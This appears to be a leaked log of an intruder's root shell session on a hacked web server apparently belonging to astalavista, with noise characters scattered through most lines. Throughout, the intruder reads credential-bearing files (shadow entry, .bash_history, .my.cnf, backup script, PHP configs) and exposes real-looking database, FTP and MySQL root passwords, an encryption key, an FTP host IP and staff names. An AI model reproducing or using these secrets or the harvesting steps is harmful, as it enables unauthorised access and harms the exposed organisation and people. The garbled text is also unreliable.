9 H4 s/ r3 H- o5 \- r: z% X; {7 sastanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::$ k6 {, Z' ~# o! Y1 b
9 N# w$ E0 g/ g' F- @0 Bsh-3.2# cat /etc/motd4 p% l5 U8 i. @
#####################################################
' M j. \5 t, ]: V1 B1 u& q#____ ____ ___ ____ _ ____ _ _ _ ____ ___ ____ #
) G9 ~+ G0 n g. O" e1 c# S# |__| [__ | |__| | |__| | | | [__ | |__| #& s$ t2 P) C. e: Q+ j
# | | ___] | | | |___ | | \/ | ___] | | | ## m' e6 m- d" p% }! ]
# #
+ I$ }* t3 y) e* U#####################################################
: ?4 T% [2 R' _: C5 d6 S/ n4 m( Y# #! A- r8 ?) {: i6 |! L5 `- G7 K
# Admin Contact - 链接标记support@secureservertech.com #( E0 E7 V' r* w. X. `7 Q5 x
# #6 I7 c. t3 f3 f+ `
# Available ShortCuts #
7 p& |6 \% K- w# #
6 `$ V3 U% U' v! U5 o3 F' Y8 {: f# nst - list active connections #
' C+ F9 ?& H" E& J* E' g4 s3 s$ I7 ^# ddos - shows how many times each ip is connected #$ L* P. ?' O7 T, z7 {, W& s
# ltr - restart the webserver #
. E+ w5 r8 A' m1 \+ p% Z. I# phpc - edit the php config file #
' f F% h5 c* {: a+ L; T# htc - edit the webserver configuration file #% _, h& Q6 x$ q6 r& Z% `
# up - uptime #3 T- ?. Y! f/ r
# etd - edit the motd of the day file #
9 | @2 |. @ l8 S t# htr - start and restart apache if needed #
2 t# L* e T# S' p+ q/ b: m# syng - shows active SYN_RECV connections #. G/ {; u% R% }! ~# R! c
# synd - syn flood blocker - “synd -h” for usage #" ^) R. s* `8 Z1 j0 b
#####################################################- s, T' }& M; B& d% O
# NOTES: #
9 V+ Z1 ]) J. |3 I$ W) F* G# Last Upgrade - 12-08-2008 by JF #; n' m5 _& n9 R9 D8 v- ]
# My.cnf/Mysql Optimization - 1-28-09 #
1 k. W9 y# m$ a3 G: ~# ^# #+ Q0 f9 G" Z( B6 ~- W1 R( C$ a
# #
7 c9 R) G6 h8 O; }. U3 r& y' q& d# #
) r( d Q& [& [$ Z. b/ Q#####################################################2 n! Q) G$ a/ O. j/ Y1 C% Q
+ j4 L+ T) U7 E6 y" C$ }
sh-3.2# lastlog | grep -v Never
/ ^, T U: M$ X$ s2 G$ TUsername Port From Latest2 G% w" q8 }, g. g5 ]0 ^# m e5 C2 ~
root pts/1 adsl-194-162-fix Thu Jun 4 07:19:14 +0000 2009
7 o# o. `) G8 R. K6 yadmin pts/1 cp.secureservert Thu Mar 20 10:25:39 +0000 2008* S! o- j g6 b s" ^
com pts/0 cust.static.212- Tue Jun 2 07:46:30 +0000 2009
! x5 W V% K! ]+ ~! C, ^9 ]- _astanet pts/0 adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009
" ?) _& B* S& J' J9 p( m* K9 j4 ]! m |4 N! P) @+ v
sh-3.2# ls -la: h2 [$ Q- ~( v0 l$ X& }
total 453376
$ |& ~1 R2 g h/ O* `& J1 }; ldrwxr-x— 15 root root 4096 Jun 4 08:40 .* g" X* \6 S- ^" | r
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..9 s- D, G4 X3 _
-rw-r–r– 1 root root 2394400 Oct 19 2007 10mbtest.zip
3 B2 l0 A b% `8 E* B5 _-rw——- 1 root root 1006 Sep 11 2007 anaconda-ks.cfg
8 F' v1 h* e$ q. K4 b: ^2 }-rw——- 1 root root 16836 Jun 4 07:21 .bash_history4 }$ r2 j; f [7 ?
-rw-r–r– 1 root root 24 Jan 6 2007 .bash_logout
& I" _0 @- m* Q- I" _) y+ l- g$ k8 p; D-rw-r–r– 1 root root 191 Jan 6 2007 .bash_profile
* ^$ S* n& A V5 a' |-rw-r–r– 1 root root 176 Jan 6 2007 .bashrc& {4 Q& I' R; n: C
-rwx—— 1 root root 1899 Oct 28 2007 bk.sh
" E3 p0 m0 k8 \' l4 M: e ~-rw-r–r– 1 root root 1327 Nov 29 2007 cert
1 z+ S/ c# L, B! Y) f7 N2 u9 N-rw-r–r– 1 root root 139860821 May 14 2008 contrexxbackup_20080514.sql
8 p) f s( L; S/ J9 C+ zdrwxr-xr-x 4 root root 4096 May 20 2008 .cpan, @" X( |# ~& I, H2 _( R# \& S
-rw-r–r– 1 root root 100 Jan 6 2007 .cshrc" s9 J3 [( O; ?9 k
-rw-r–r– 1 root root 323079 Mar 31 13:48 defaultp_ports.sql
2 Y) ?$ B0 l2 L X! Y. idrwx—— 2 root root 4096 Oct 28 2007 .elinks
8 S. @' j9 b7 M7 _drwxr-xr-x 13 root root 4096 Mar 21 2008 gdb-6.7.1
2 T% S! v5 H9 k6 N-rw-r–r– 1 root root 15080950 Oct 29 2007 gdb-6.7.1.tar.bz2' W4 ~9 R# [- j. Y f
-rw——- 1 root root 0 Apr 16 13:19 .history
2 j+ n- O9 }% d ]& m8 X-rw-r–r– 1 root root 16095 Sep 11 2007 install.log
5 J$ @' ^6 j0 U2 L# M3 Q-rw-r–r– 1 root root 2566 Sep 11 2007 install.log.syslog& S- @. U+ T, A [& Z8 b
-rw-r–r– 1 root root 1003 Jul 22 2007 install.sh; w% a% W1 D! l% b
-rw——- 1 root root 35 Jun 2 14:23 .lesshst* k" Z: E3 K! h: `4 m- {
drwxr-xr-x 2 root root 4096 Dec 29 2007 .lftp% o( c8 I9 G3 j) G+ _* d
drwxr-xr-x 10 root root 4096 Sep 14 2007 linux-2.6.19.2-grsec+ g4 C, c( P$ u4 X4 M4 \% y9 z
-rw-r–r– 1 root root 94979336 Feb 16 2007 linux-2.6.19.2-grsec.tar.gz
- v; i# l* m S' h5 Z- J5 L-rw-r–r– 1 root root 4737058 Sep 22 2007 linux-2.6.22.tar.bz2- {/ L) H) Y0 y* w
-rwx—— 1 root root 760 Sep 18 2008 lp
: _. x' h1 q/ G; S: m* S2 @" x( m" xdrwxr-xr-x 12 root root 4096 Nov 30 2007 lsws-3.3.1
) s8 L+ W) h4 p6 o% |' }-rw-r–r– 1 root root 2480045 Nov 30 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz
3 D% \: }5 D2 r8 p-rw-r–r– 1 root root 6388501 Nov 29 2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
" @. }# ~ o% {7 M1 i5 Vdrwxr-xr-x 12 root root 4096 Mar 21 2008 lsws-3.3.9; F- X, e0 I Q5 F2 s x0 ^- r( W8 R: {
-rw-r–r– 1 root root 6437577 Mar 21 2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
4 _$ m" C3 |' D1 Mdrwxr-xr-x 12 root root 4096 May 29 15:10 lsws-4.0.3; ~3 {, V- v0 V: N8 n. S
-rw-r–r– 1 root root 6496050 May 8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz' \: E$ O9 m5 O5 L2 C/ Q: y
-rw-r–r– 1 root root 25316 Feb 15 2006 mybk.sh+ P7 B/ U T- f7 Z7 R& B
-rw——- 1 root root 41 Oct 19 2007 .my.cnf$ t( @: {8 p Q# o! n" i+ ^
-rw——- 1 root root 2902 Jun 4 08:40 .mysql_history
) j$ j U0 h A* g-rwx—— 1 root root 38873 Apr 16 2008 mysqlreport3 [+ F- k* ~" }5 L& }4 S
-rw——- 1 root root 41 May 20 2008 .mytop
; x- A- D6 E7 Gdrwxr-xr-x 3 1000 1000 4096 May 20 2008 mytop-1.6
3 a3 T# O; M' `: ^8 P$ f9 w! J-rw-r–r– 1 root root 19720 Feb 17 2007 mytop-1.6.tar.gz
' \' x+ K- M. O' ?) h7 z" I* z3 bdrwxr-xr-x 2 root root 4096 Oct 28 2007 .ncftp
9 c. c: j2 j. P- N-rw——- 1 root root 1462 Sep 21 2007 opt.php0 [/ I; c ]8 ?" D9 Q8 ]1 p( s
-rw-r–r– 1 root root 3371 Sep 22 2007 p
- f' d% A" O* L9 N, N; A-rw-r–r– 1 root root 7608429 Aug 30 2007 php-5.2.4.tar.bz22 F5 \" g7 }3 G; n
-rw——- 1 root root 1024 Feb 3 21:32 .rnd2 Z2 _% b7 S! ]" K% o% p5 h
-rw-r–r– 1 root root 716 Nov 28 2007 server.csr' G0 z1 }2 L! G) e2 K8 s$ H5 h
-rw-r–r– 1 root root 887 Nov 28 2007 server.key7 ~4 }4 M0 d. ?: K% J" S1 P0 z
drwx—— 2 root root 4096 Oct 10 2008 .ssh+ H+ i" ~" k9 _, p
-rw-r–r– 1 root root 44227 Oct 28 2007 tar-inc-backup.dat
; s8 T4 a: F) y- S# [. p9 `# l7 r-rw-r–r– 1 root root 129 Jan 6 2007 .tcshrc
0 O' h) }! \% E- D5 N-rw-r–r– 1 root root 104874307 Oct 17 2007 test100.zip
" b/ Q0 n8 `' m( A! {! M, M-rw-r–r– 1 root root 67085540 Oct 19 2007 test100.zip.1
/ j) r' f* U# [1 M5 V7 ]+ }5 sdrwxr-xr-x 2 root root 4096 Apr 29 11:15 tmp/ N3 c! o t4 \0 T4 T+ j
-rw-r–r– 1 root root 42596 May 21 2007 tuning-primer.sh# E, C/ H: w( n4 a) C6 ?
drwxrwxrwx 19 1000 users 4096 Mar 21 2008 valgrind-3.3.0
7 i& s3 F) V# \0 u4 K' b7 C-rw-r–r– 1 root root 4519551 Dec 11 2007 valgrind-3.3.0.tar.bz2
) {. R5 Y, t" W* W-rw——- 1 root root 12997 May 16 2008 .viminfo$ [- C+ J7 d5 t/ |! J
& v; Z O1 p7 ]$ U* Ush-3.2# cat .bash_history, ^2 `. g$ J2 \3 P' m
[snip]' w: |8 m' f5 u
wget cp4sst.com/sstlinux.tar.gz. X' p1 X6 Q- B# N9 o
tar zxvf sstlinux.tar.gz
" {$ S# y; J3 O& O1 [cd linux-2.6.27.10
" |0 W, P+ b" Q8 G3 D5 [, tsh install.sh: m @* Z) ~! @. o
make bzImage ; make modules ; make modules_install ; make install
; [2 e4 I/ E5 Y6 g+ V/ P6 \make clean" ]) S; N3 @+ U: y
service mysqld restart
1 O) B: v2 I+ \1 b" {[snip]. h) s/ T* s- l* _( X& w) q
cd /usr/sbin/; O5 h: @9 P8 ^/ h- p$ [
chmod 4777 traceroute
2 n# N2 ]4 Q/ R0 M& U2 Tchmod 4777 ping) q: k) C( Z0 f7 x2 P
traceroute -I 链接标记[url]www.astalavista.ch[/url]
7 F6 l4 v; \, j2 Z. C) K: L4 e, |[snip]
+ X4 ]; J" F+ R1 Y: U5 G1 V/ t avi /etc/csf/csf.conf
) S3 O N# l6 {4 c7 j7 Atraceroute google.ch7 f. i! h# V6 I5 a
service csf restart
3 p5 M4 B0 f' P8 c' w. atracert google.ch
- u" P/ s0 c" ~service csf restart
' G% i2 s- `3 V2 Ptraceroute 链接标记[url]www.google.ch[/url]
, D3 E7 H! y( N& z7 otracert 链接标记[url]www.google.ch[/url]8 Y7 ?' t8 @0 l) q& Y1 U
traceroute 链接标记[url]www.google.ch[/url]% [5 d3 `( q$ i+ ~1 Q7 N; X
locate traceroute
, Z/ S- b; j- achown 4755 /bin/traceroute" ]5 [1 h! I* J4 X( M
chown 4777 /bin/traceroute
$ i1 R9 t) x, h' ^$ g1 jlocate ping
* \ m2 E8 h3 t! f: G( s: f6 Hchown 4755 /bin/ping" {# [( d6 s* T% F. |0 ?, s" B" A; w
chown 4777 /bin/ping
" V4 a5 L5 {3 ]( ]# t9 ecd /bin/
4 w: x& K6 e& u9 t+ kls -ali | grep ping+ L: r9 k6 E% |" m9 o
chown root ping8 J+ G' Q, ?" H% C4 N) `2 c
chmod 4755 ping
8 Q3 @3 ^+ _7 d: W: ils -ali | grep traceroute
6 i E( O4 T1 x% q9 ?chown root traceroute
1 I& I# |0 @: p1 a ?4 i) o6 Gchmod 4755 traceroute
; \1 A" ]1 N% w' a" _ls -ali | grep traceroute
8 }8 s- S6 ~1 t( k! v4 ~, P* @traceroute -I 链接标记[url]www.google.ch[/url]
- u! Q8 k3 m( y0 Rtraceroute 链接标记[url]www.google.ch[/url]4 I6 e7 [% H$ e% [
whois pmsantos.ch+ u0 G% c4 n$ I# b
[snip]' t4 u1 w% t/ k4 G1 J
mysql -h com_contrexx2_live < /root/defaultp_ports.sql; c! G$ x. i; o
mysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql7 z) A, r' H3 G9 ~6 i# W% J
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql
1 G) j$ l- b( L2 omysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql
6 ?6 X' a! `! v) ptop5 A# O* }+ c$ Q) ?; c+ G
ping ssth.ch& J9 O& e& ]4 I2 }/ q
ping asdlkfaljgasd???ljg???lasj.ch# U5 s5 |( Z0 A$ _: B3 j2 l
ping asdlkfaljgasdlasj.ch
/ \1 ?! D+ H! q( M2 Q, X4 Fping 链接标记[url]www.ssth.ch[/url]
$ a- s4 ~' m% D+ |) a. G4 |ping ssth.ch
' I; B5 m- B" o: N& n" Pnslookup 链接标记[url]www.google.ch[/url]
- a9 _1 X v- l4 A! W( |nslookup 链接标记[url]www.ssth.ch[/url]7 G* y. [) p2 E, N; |, q3 J9 ^7 f3 G
man nslookup2 ]; O1 i& d7 ~ Z
ping 链接标记[url]www.google.ch[/url]9 ~: _7 d& ^ \: m
nslookup 链接标记[url]www.google.ch[/url]
@+ H* c- t5 R. |, C0 h1 hnslookup 链接标记[url]www.google.ch[/url]
4 e6 Y" `& H* @6 N9 Cnslookup salfjasdlf.ch( \& M0 j9 \2 N
[snip]3 P/ I0 b2 ]+ ?( z0 k( S! ?
openssl passwd -1 sadf
' A* j4 \- Z* z3 W) p F$ Sopenssl passwd -1 5cZNHstdTy
5 I* d3 v. B' X* i% u; Lmysql" ]) F8 v6 V# H; ?- o5 L3 {
mysql$ P$ ^) _- n0 A1 O
locate proftp
0 D2 o6 d P# F kvi /etc/proftpd.passwd& x; `* H' M4 g' v3 i+ ]
service proftpd restart& U" d3 H8 r+ v
locate proftpd.conf( V$ t& M+ {7 Q
vi /etc/proftpd.conf% i$ j! R7 F$ T4 S/ F
vi /etc/proftpd.passwd- W, L$ W/ E0 \9 o/ O3 T* r4 z; _- z
service proftpd restart
9 _! A4 F3 g u( N: E* p, p[snip]
3 o" c3 M2 \" W: h/bin/sh /home/com/backup_system/backup.sh9 {- Y7 g: x2 T$ a7 g; U
tar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
h9 U6 w+ B$ Bmysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql- @# }( d; C! U
mysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
; M- J' B2 L: M& B, _# c) hls -ali4 \* O x, f$ F( P* W6 Y. g
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql' i5 q0 p" b% ?+ K: h% @
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
7 P- _2 G$ V$ ?crontab -l
( b. ~4 F7 L+ Ucrontab -l
+ g7 t# S' R- V5 t4 Rphp -q /home/com/public_html/modifications/cronjobs/securitynews.php
. Z9 i( T3 ~0 n/ G/home/com/public_html/modifications/cronjobs/exploits.sh( I _8 q, u2 ]0 X2 o
wget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]' n- q) v. r: r3 @, V/ v& r
tar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz" q+ p4 e1 g! E5 W
cd lsws-4.0.33 l7 K5 B" \# }5 J$ E* |
sh install.sh
; i5 _3 N. _' S7 N y# r% guptime& L2 W' ^( a( J( z3 _/ p# H
hdparm -tt /dev/sda
( k. B, b8 q. J* G* R! Xiostat
* E4 Z! O. X$ e$ U9 q/ T8 vyum install iostat
* p6 P8 W5 M" z: _) s4 v% Iiostat
# X5 Q; r8 H1 w9 G/ Vwhereis iostat
4 Z. b3 v7 S) f) r$ r( V9 ~) Fyjm clean all
8 D- u# k5 R2 F% ^1 ^yum clean all ; yum -y update
0 ?- |# Q& ?* z3 piostat; {- v, [! S7 i6 H& X7 }$ c
yum install systat0 ]0 |3 j& ?; |' s" Y0 K
rpm -qa | grep iostat
5 ?' ?; X9 `% y5 Erpm -qa | grep sysstat
/ j% a3 a$ N nrpm -qa | grep systat c5 Q2 f/ c5 Y( [+ f; x5 W
dmesg -c& }; l4 ~/ s4 s4 B, X/ J
sysctl -p
$ g- [, C7 H) y1 `2 ]/ B- {0 n: auname -r4 J1 f6 B6 ~4 l$ e! x
cd /usr/src
, ^8 S3 B1 ^, S! k) \9 }4 j# dwget nix101.com/kernels/sstlinux.tar.gz
( s3 h0 o9 M3 @7 J- Qshutdown -r now
# M% z( ^5 O* _) _! mnano -w /boot/grub/grub.conf
: ~( D6 y) k( s- y$ F5 g) v# \6 ^: M) w" s! B6 t: s0 e+ j
sh-3.2# cat .my.cnf
2 R9 f1 q4 f$ P6 J[client]
) n; { }. @, T7 c# i8 w4 Z% Juser=da_admin) k+ @& F- H; o# _- D# b* Z
password=X9dctmRH
! p& n; _) d- |5 t
7 a7 ]/ R( O" d/ u [sh-3.2# cat /home/com/backup_system/backup.sh
1 N: `" V4 J! z! }#!/bin/sh
+ f& W, p2 [( D# m###################################################################### n2 Q6 d& M. R, a
# #* c, G; q, B# \2 \9 _5 i3 `3 e, n' T% _
# incremental backup for astalavista.com ## _% K8 t0 m; s% x J# [9 \8 z
# #$ C6 @# G7 E! Z
# author: Paulo M. Santos <链接标记paulo.santos@astalavista.com> #$ y+ J- L% ]/ W' E
# #& ~! V1 H9 m0 x9 N, I
#####################################################################0 ~+ W# Z. m5 F* G. U6 ]5 L- Q
[snip]
2 m/ ~8 G8 Y- {; ]5 r; g, W/ sPROG_DIR=”/home/com/backup_system”;3 J& o4 ~( d' u+ Q3 D) h5 R! M: f
BACKUP_DIR=”/home/com/backups”;
5 u$ w; ^$ c8 p# [9 KDOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;% N- f1 r+ Z8 M g ?# {5 }
# ftp for synology backup server
3 D4 x G( j: y; R- ^0 Y+ x- e$ BFTP_HOST=”212.254.194.163″;$ b3 `( h% A' o( {
FTP_PORT=”21″;4 f8 i+ o' [& i/ n9 C
FTP_USER=”astalavista.com”;
1 A; S" J" u' i5 V( O/ ]- cFTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;( z- S2 p4 h$ @0 O; i' `' P7 c' k
FTP_DIR=”/astalavista.com”;
/ H. C- _6 I" Z8 @& T- }( Y) J# database
8 y# k$ U! [6 i- MDB_HOST=”localhost”;
% V! ]- O- y; lDB_USER=”contrexxuser2″;0 E1 H A, o* q: h) ^6 w
DB_PASS=”0fEYNZgXz1pKe”;/ k) ^- a8 I, A8 D% O3 [( _- D1 i
DB_DATABASE1=”com_contrexx2_live”;
! H5 c" w1 W2 {* v" q. bDB_DATABASE2=”com_contrexx2″;' |! C- |( q! l' f( f
[snip]
' V; T! X, v1 ^5 dftp -in $FTP_HOST $FTP_PORT <<EOF6 q# b+ X5 c" X6 N4 ~* o" g
quote USER $FTP_USER
0 W$ M% A! U, h" G( Bquote PASS $FTP_PASS( v( ]/ u( ~. l0 n6 s. L- R
cd $FTP_DIR
r% a0 g9 n; W5 rput $DB_FULLNAME-SQL_Dump.tar6 m9 Y9 ?$ J8 P% Y: t
put $BACKUP_FULLNAME-Public_HTML.tar
) ^' I) @' i# V. I4 ~6 }close# `' x1 c/ P/ d6 X& u8 U( p. _6 c
bye6 H8 y: A4 B; C9 U
EOF
8 x+ d) i5 x+ ^- g, d$ y/ l$ B
9 b# q+ h) w. Vsh-3.2# cd /home) Z$ |, y% V9 _) Q8 L, }3 |4 b# ?
sh-3.2# ls -la5 m' k; W9 d# H" x, p+ N
total 120. g# I# N6 g+ x4 ^
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
* i9 N7 V9 ?( [/ t0 fdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..1 _3 h) {$ W8 m& p9 H
drwx–x–x 9 admin admin 4096 Nov 28 2007 admin! s. I( J2 q" n( M8 I
-rw——- 1 root root 8192 Jun 4 03:03 aquota.group ^" n! [4 G8 e5 r# r" }
-rw——- 1 root root 8192 Jun 3 02:45 aquota.user- b. H$ m7 s0 G5 ^6 F
drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
, c9 f# ?8 N# X4 V( udrwxr-xr-x 2 root root 4096 Jul 29 2008 backup
- E! K }( B; P* ^drwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161; k% R ]* P8 E9 Q0 ^
drwx–x–x 10 com com 4096 Apr 28 12:40 com
3 k& _0 Y, m) ~: A, ~drwxr-xr-x 2 root root 4096 May 17 2007 ftp
+ Q9 X6 r. s& ddrwx—— 3 jon jon 4096 Sep 21 2007 jon$ h7 H1 d0 U- o+ N# U; c! S
drwx—— 2 root root 16384 Sep 11 2007 lost+found0 k% R& t0 B7 X; ]5 Q$ z# }
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
' w C+ z2 u3 n6 W7 mdrwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata
6 b; {8 |- I3 ~' Q! ?drwx—— 2 jon jon 4096 Sep 15 2007 test
0 j8 p: M i( Z' \! i- xdrwxrwxrwt 2 root root 4096 Jul 29 2008 tmp
# b! z2 {3 X7 V M* y% I6 U0 D; s+ X5 T, ]1 R4 n
sh-3.2# cd admin
% s C6 I7 i) {$ i# k, B C0 qsh-3.2# ls -la
4 R s9 P$ U0 B2 W- L1 v D; G2 b4 ltotal 1735896
2 _# G- h1 v" Qdrwx–x–x 9 admin admin 4096 Nov 28 2007 .. Y& [7 I2 ~8 X
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..# d2 E9 e' F: b
drwxrwxr-x 2 admin admin 4096 Oct 25 2007 admin_backups
) s$ W, V$ p% E, y( {drwx—— 2 admin admin 4096 Sep 28 2007 backups% C# a a' W5 k9 O/ N- ~6 R9 e# L$ Q
-rw——- 1 admin admin 860 Sep 17 2008 .bash_history4 t$ L6 A) h/ `
-rw-r–r– 1 admin admin 24 Sep 14 2007 .bash_logout( r3 P) p+ K" z+ D, g
-rw-r–r– 1 admin admin 176 Sep 14 2007 .bash_profile
a N) T) J* F& y a: C" x-rw-r–r– 1 admin admin 124 Sep 14 2007 .bashrc' l% l# d$ Y, o' n
drwxr-xr-x 2 root root 4096 Sep 28 2007 com_backups& V. u. K* b8 X E( H
drwx–x–x 6 admin admin 4096 Sep 21 2007 domains
5 p+ l: R0 P& K Q6 n: B) D3 ^drwxrwx— 3 admin mail 4096 Sep 21 2007 imap& I: u& p9 S; Q2 s
-rw-r–r– 1 root root 24 Sep 21 2007 info.php$ k3 {; b) R3 A7 b) ?/ {; ~
drwx—— 2 admin admin 4096 Sep 21 2007 mail
1 ~ c1 \6 W+ m7 f ~-rw-r–r– 1 root root 716 Nov 28 2007 server.csr
5 u f8 l2 B' J. i1 M$ Q& I! B-rw-r–r– 1 root root 887 Nov 28 2007 server.key
& t" _0 _8 Y' Q# U! N! c4 l) V-rw-r—– 1 admin mail 34 Sep 14 2007 .shadow- j7 b4 ^4 r5 i* `) C* }
-rw-r—– 1 admin com 1775711054 Oct 25 2007 user.admin.com.tar.gz
* F& D( S+ k m0 m8 Z8 Udrwx–x–x 2 admin admin 4096 Jul 29 2008 user_backups( s' p' t5 s4 i; u5 L: a. i. S
( R, c1 K6 ]3 T. q- a& Rsh-3.2# .. H8 {+ @, R" a+ R9 V, d: D
sh-3.2# cd jon( e; R- O- d& M- X* \& Z3 V3 i3 P
sh-3.2# ls -la
6 g1 ?" p( ^" S6 k3 U* f3 m4 H: D* F5 }total 36
' X* _% u n4 x) A9 D2 l/ _drwx—— 3 jon jon 4096 Sep 21 2007 .
2 T! Y1 |: f: U; Kdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..0 y% |/ N1 c j& V& [. q
-rw——- 1 jon jon 53 Sep 21 2007 .bash_history
6 A6 x5 c* J3 X/ C-rw-r–r– 1 jon jon 24 Sep 21 2007 .bash_logout5 H% j {. `9 m3 h8 L
-rw-r–r– 1 jon jon 176 Sep 21 2007 .bash_profile- R0 u1 O6 W/ g( N
-rw-r–r– 1 jon jon 124 Sep 21 2007 .bashrc
3 r1 K8 N' e) u6 ?. h-rw-r–r– 1 root root 24 Sep 21 2007 info.php2 H. L0 n) i6 x, N% e% ~
drwxrwxr-x 2 jon jon 4096 Sep 21 2007 public_html* N" V3 g: y M) w# P# U) C
- h6 z0 X1 K: i: r* G+ ^5 ?; j
sh-3.2# cd ..# Y y1 u: e+ A3 T. ~7 d
sh-3.2# cd test! z! F+ o$ a! Y2 O) D
sh-3.2# ls -la5 c! A0 F# y7 r) f% Z3 ]. f
total 48& p* Y, r) @( W7 R6 I9 y
drwx—— 2 jon jon 4096 Sep 15 2007 .
0 I, |" C& d2 b! e2 D( z- odrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..9 a+ @6 N" O0 J& u& ]4 H/ e
-rw——- 1 jon jon 79 Sep 21 2007 .bash_history/ _$ H7 ^% [0 O8 p( C
-rw-r–r– 1 jon jon 24 Sep 15 2007 .bash_logout# M: @) |1 ^! p7 @' I
-rw-r–r– 1 jon jon 176 Sep 15 2007 .bash_profile
* T8 h( K6 c* @4 J8 g-rw-r–r– 1 jon jon 124 Sep 15 2007 .bashrc9 s0 N8 [; I' e" A$ }% f1 C4 g% I
sh-3.2# cat .bash_history/ ~/ F8 ]/ G" J0 I/ G- W
/usr/bin/mysqladmin -u root password PoliuJhytg67) G" V* V" B+ R9 @
" C& H( C$ V" }; \) a# q8 F* Z( @
sh-3.2# cd ..+ Q) |) x* k7 ?* C6 {
sh-3.2# cd astanet2 B. ^/ f9 |/ _3 K
sh-3.2# ls -la
7 P d3 B1 t& P3 Y3 Atotal 52
% w0 \8 V% R4 T! c p! ?drwx–x–x 6 astanet astanet 4096 Jun 4 09:51 .$ b' v# g; c$ b6 r- b5 g# }
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..9 [, n1 i8 @, C# o& F' S# X
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
. k: \& _9 E2 Y$ O$ T: T; b& \-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history' G( c* ^! J# u0 S3 W
-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
" o% I( `% ?; L9 E9 C+ L-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
2 i. X( ~4 f" `5 s( L+ L7 X, ^-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
. l/ }6 Z! X. x( O, p1 H- qdrwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains. {. s2 X1 {8 F$ M
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap: H2 ], @3 J+ ^
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail
0 {9 P4 e' a2 o$ C3 t4 ]& N-rw——- 1 astanet astanet 197 Jun 4 09:51 .mysql_history
, ]+ X6 k2 {0 b2 F1 n/ J: klrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html. E9 x8 b9 M* Z* |3 O# w* q/ s3 H
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow; `3 X) T/ {' c+ a* W1 T
1 P$ D7 g6 j9 H8 A4 X% z- C6 h
sh-3.2# cd auth/
. C8 t6 [4 Y i; I, Nsh-3.2# ls -la$ p. b% H1 p. A' {* \
total 28
( ^4 ~9 Y: O4 y5 R& x3 q0 Wdrwxr-xr-x 2 root root 4096 Dec 23 16:00 .
' q( E& T) S% T P1 Qdrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 ..
. h2 G0 P& {- Z& E/ u. L/ Y2 J-rw-r–r– 1 root root 321 Jan 5 2006 hackercontest.config.inc.php
+ s9 Q/ H' U \0 l) r-rw-r–r– 1 root root 319 Jan 5 2006 hosting.config.inc.php' {4 [- E4 ]# C
-rw-r–r– 1 root root 24 Jun 4 09:38 .htadm_pwd: A% U: w8 ]! [" M/ o8 J/ f$ l
-rw-r–r– 1 root root 49 Jan 5 2006 .htpasswd_newhosting
' r: P. o/ `' J* l* ~-rw-r–r– 1 root root 51 Oct 11 2006 .htwebalizer_pwd. g$ B( j- D& l1 v. A
' x) f5 x- l: H7 M$ dsh-3.2# cat hackercontest.config.inc.php
- B% c1 S, D! T' P9 v0 r<?PHP1 p5 v* {5 {4 t. k: u
// Variabeln f?r Verbindung zur Datenbank //
) B, I. Q5 G2 n; ?3 C/ x$conxHost = ‘localhost’; // MySQL hostname
5 Q6 {$ m; c y( b6 R$conxUser = ‘hackercontest’; // MySQL user, O* V& [7 D y) v0 }# n1 J
$conxPassword = ‘K6m@7dUc’; // MySQL password
6 y' g; y$ B; V8 O v6 \$bfkey = ‘cXvB3981′; // Encryption/Decryption Key for Blowfish
2 ^/ e7 [0 ^7 v% m/ b9 Z?>0 d2 O1 s5 Z( q' e3 H8 `" h
sh-3.2# cat hosting.config.inc.php$ c1 ?5 b& }4 q4 u0 v
<?PHP
! q6 M" V' W5 A8 A4 |3 ^9 q4 g// Variabeln f?r Verbindung zur Datenbank //
8 ^+ |, K% x+ @3 \" {# a; y% l$conxHost = ‘localhost’; // MySQL hostname
# p$ l5 Z2 s9 E) c3 E8 a$conxUser = ‘hostinguser’; // MySQL user
. K7 p7 ?. k$ d" q# J b$conxPassword = ‘cXvB3981′; // MySQL password
